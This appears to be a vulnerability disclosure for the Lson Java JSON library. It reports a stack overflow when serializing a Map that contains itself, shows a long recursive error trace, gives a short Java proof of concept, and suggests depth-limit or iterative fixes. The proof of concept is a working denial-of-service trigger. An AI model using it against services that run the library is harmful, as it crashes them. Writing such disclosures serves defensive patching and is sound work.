Stack overflow error caused by Lson serialization Map

[PoppingSnack]

Stack overflow error caused by Lson serialization Map

Description

Lson before v1.3.7 was discovered to contain a stack overflow via the Map parameter.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at java.base/java.lang.StringBuilder.<init>(StringBuilder.java:104)
	at java.base/java.lang.Class.toString(Class.java:191)
	at cn.luern0313.lson.util.TypeUtil.getName(TypeUtil.java:87)
	at cn.luern0313.lson.util.TypeUtil.isPrimitivePlus(TypeUtil.java:112)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:42)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)
	at cn.luern0313.lson.Serialization.listToJson(Serialization.java:67)
	at cn.luern0313.lson.Serialization.toJson(Serialization.java:47)

PoC

        <dependency>
            <groupId>cn.luern0313.lson</groupId>
            <artifactId>Lson</artifactId>
            <version>0.90</version>
        </dependency>

import cn.luern0313.lson.LsonUtil;

import java.util.HashMap;

public class PoC {
    public static void main(String[] args) {
        HashMap<String,Object> map=new HashMap<>();
        map.put("t",map);

        LsonUtil.toJson(map);
    }
}

Rectification Solution

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)